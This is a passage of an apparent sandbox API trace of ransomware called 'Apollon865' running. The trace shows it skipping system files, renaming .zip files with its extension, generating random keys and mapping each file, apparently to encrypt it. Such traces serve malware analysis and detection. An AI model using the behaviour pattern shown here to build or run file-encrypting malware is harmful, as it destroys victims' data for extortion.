	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2=".") returned 1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="..") returned 1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="windows") returned -1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="bootmgr") returned 1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="temp") returned -1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="pagefile.sys") returned -1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="boot") returned 1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="ids.txt") returned 1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="ntuser.dat") returned -1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="perflogs") returned -1
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2="MSBuild") returned -1
	[0053.545] lstrlenW (lpString="Module.zip") returned 10
	[0053.545] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\MDIParent.zip") returned 110
	[0053.545] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Module.zip" | out: lpString1="Module.zip") returned="Module.zip"
	[0053.545] lstrlenW (lpString="Module.zip") returned 10
	[0053.545] lstrlenW (lpString="Apollon865") returned 10
	[0053.545] lstrlenW (lpString=".dll") returned 4
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2=".dll") returned 1
	[0053.545] lstrlenW (lpString=".lnk") returned 4
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2=".lnk") returned 1
	[0053.545] lstrlenW (lpString=".ini") returned 4
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2=".ini") returned 1
	[0053.545] lstrlenW (lpString=".sys") returned 4
	[0053.545] lstrcmpiW (lpString1="Module.zip", lpString2=".sys") returned 1
	[0053.545] lstrlenW (lpString="Module.zip") returned 10
	[0053.546] lstrlenW (lpString="bak") returned 3
	[0053.546] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.546] lstrlenW (lpString="ba_") returned 3
	[0053.546] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.546] lstrlenW (lpString="dbb") returned 3
	[0053.546] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.546] lstrlenW (lpString="vmdk") returned 4
	[0053.546] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.546] lstrlenW (lpString="rar") returned 3
	[0053.546] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.546] lstrlenW (lpString="zip") returned 3
	[0053.546] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.546] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip.Apollon865") returned 118
	[0053.546] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.548] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=591) returned 1
	[0053.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.548] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.549] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.549] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.549] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x150
	[0053.551] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000
	[0053.551] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.552] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.552] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0053.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0053.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.553] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.553] CloseHandle (hObject=0x150) returned 1
	[0053.553] CloseHandle (hObject=0xc0) returned 1
	[0053.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.553] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x89b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ResourceInternal.zip", cAlternateFileName="RESOUR~1.ZIP")) returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".") returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="..") returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="windows") returned -1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="bootmgr") returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="temp") returned -1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="pagefile.sys") returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="boot") returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="ids.txt") returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="ntuser.dat") returned 1
	[0053.553] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="perflogs") returned 1
	[0053.554] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2="MSBuild") returned 1
	[0053.554] lstrlenW (lpString="ResourceInternal.zip") returned 20
	[0053.554] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip") returned 107
	[0053.554] lstrcpyW (in: lpString1=0x2d3e612, lpString2="ResourceInternal.zip" | out: lpString1="ResourceInternal.zip") returned="ResourceInternal.zip"
	[0053.554] lstrlenW (lpString="ResourceInternal.zip") returned 20
	[0053.554] lstrlenW (lpString="Apollon865") returned 10
	[0053.554] lstrcmpiW (lpString1="ternal.zip", lpString2="Apollon865") returned 1
	[0053.554] lstrlenW (lpString=".dll") returned 4
	[0053.554] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".dll") returned 1
	[0053.554] lstrlenW (lpString=".lnk") returned 4
	[0053.554] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".lnk") returned 1
	[0053.554] lstrlenW (lpString=".ini") returned 4
	[0053.554] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".ini") returned 1
	[0053.554] lstrlenW (lpString=".sys") returned 4
	[0053.554] lstrcmpiW (lpString1="ResourceInternal.zip", lpString2=".sys") returned 1
	[0053.554] lstrlenW (lpString="ResourceInternal.zip") returned 20
	[0053.554] lstrlenW (lpString="bak") returned 3
	[0053.554] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.554] lstrlenW (lpString="ba_") returned 3
	[0053.554] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.554] lstrlenW (lpString="dbb") returned 3
	[0053.554] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.554] lstrlenW (lpString="vmdk") returned 4
	[0053.554] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.554] lstrlenW (lpString="rar") returned 3
	[0053.554] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.554] lstrlenW (lpString="zip") returned 3
	[0053.554] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.554] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip.Apollon865") returned 128
	[0053.554] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.556] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2203) returned 1
	[0053.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.556] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.557] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.557] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.557] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xba0, lpName=0x0) returned 0x150
	[0053.559] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xba0) returned 0x100000
	[0053.559] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.560] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.560] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0053.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0053.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.561] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.561] CloseHandle (hObject=0x150) returned 1
	[0053.561] CloseHandle (hObject=0xc0) returned 1
	[0053.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.561] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SettingsInternal.zip", cAlternateFileName="SETTIN~1.ZIP")) returned 1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".") returned 1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="..") returned 1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="windows") returned -1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="bootmgr") returned 1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="temp") returned -1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="pagefile.sys") returned 1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="boot") returned 1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="ids.txt") returned 1
	[0053.561] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="ntuser.dat") returned 1
	[0053.562] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="perflogs") returned 1
	[0053.562] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2="MSBuild") returned 1
	[0053.562] lstrlenW (lpString="SettingsInternal.zip") returned 20
	[0053.562] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip") returned 117
	[0053.562] lstrcpyW (in: lpString1=0x2d3e612, lpString2="SettingsInternal.zip" | out: lpString1="SettingsInternal.zip") returned="SettingsInternal.zip"
	[0053.562] lstrlenW (lpString="SettingsInternal.zip") returned 20
	[0053.562] lstrlenW (lpString="Apollon865") returned 10
	[0053.562] lstrcmpiW (lpString1="ternal.zip", lpString2="Apollon865") returned 1
	[0053.562] lstrlenW (lpString=".dll") returned 4
	[0053.562] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".dll") returned 1
	[0053.562] lstrlenW (lpString=".lnk") returned 4
	[0053.562] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".lnk") returned 1
	[0053.562] lstrlenW (lpString=".ini") returned 4
	[0053.562] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".ini") returned 1
	[0053.562] lstrlenW (lpString=".sys") returned 4
	[0053.562] lstrcmpiW (lpString1="SettingsInternal.zip", lpString2=".sys") returned 1
	[0053.562] lstrlenW (lpString="SettingsInternal.zip") returned 20
	[0053.562] lstrlenW (lpString="bak") returned 3
	[0053.562] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.562] lstrlenW (lpString="ba_") returned 3
	[0053.562] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.562] lstrlenW (lpString="dbb") returned 3
	[0053.562] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.562] lstrlenW (lpString="vmdk") returned 4
	[0053.562] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.562] lstrlenW (lpString="rar") returned 3
	[0053.562] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.562] lstrlenW (lpString="zip") returned 3
	[0053.562] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.562] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip.Apollon865") returned 128
	[0053.562] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.564] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.564] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1049) returned 1
	[0053.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.564] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.565] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.565] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.565] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x720, lpName=0x0) returned 0x150
	[0053.566] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x720) returned 0x100000
	[0053.567] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf568) returned 1
	[0053.568] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.568] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.568] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.568] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0053.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0053.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.569] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.569] CloseHandle (hObject=0x150) returned 1
	[0053.569] CloseHandle (hObject=0xc0) returned 1
	[0053.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.569] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11126d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0xec16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SplashScreen.zip", cAlternateFileName="SPLASH~1.ZIP")) returned 1
	[0053.569] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.569] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.569] lstrcmpiW (lpString1="SplashScreen.zip", lpString2=".") returned 1
	[0053.569] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="..") returned 1
	[0053.569] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="windows") returned -1
	[0053.569] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="bootmgr") returned 1
	[0053.569] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="temp") returned -1
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="pagefile.sys") returned 1
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="boot") returned 1
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="ids.txt") returned 1
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="ntuser.dat") returned 1
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="perflogs") returned 1
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2="MSBuild") returned 1
	[0053.570] lstrlenW (lpString="SplashScreen.zip") returned 16
	[0053.570] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip") returned 117
	[0053.570] lstrcpyW (in: lpString1=0x2d3e612, lpString2="SplashScreen.zip" | out: lpString1="SplashScreen.zip") returned="SplashScreen.zip"
	[0053.570] lstrlenW (lpString="SplashScreen.zip") returned 16
	[0053.570] lstrlenW (lpString="Apollon865") returned 10
	[0053.570] lstrcmpiW (lpString1="Screen.zip", lpString2="Apollon865") returned 1
	[0053.570] lstrlenW (lpString=".dll") returned 4
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2=".dll") returned 1
	[0053.570] lstrlenW (lpString=".lnk") returned 4
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2=".lnk") returned 1
	[0053.570] lstrlenW (lpString=".ini") returned 4
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2=".ini") returned 1
	[0053.570] lstrlenW (lpString=".sys") returned 4
	[0053.570] lstrcmpiW (lpString1="SplashScreen.zip", lpString2=".sys") returned 1
	[0053.570] lstrlenW (lpString="SplashScreen.zip") returned 16
	[0053.570] lstrlenW (lpString="bak") returned 3
	[0053.570] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.570] lstrlenW (lpString="ba_") returned 3
	[0053.570] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.570] lstrlenW (lpString="dbb") returned 3
	[0053.570] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.570] lstrlenW (lpString="vmdk") returned 4
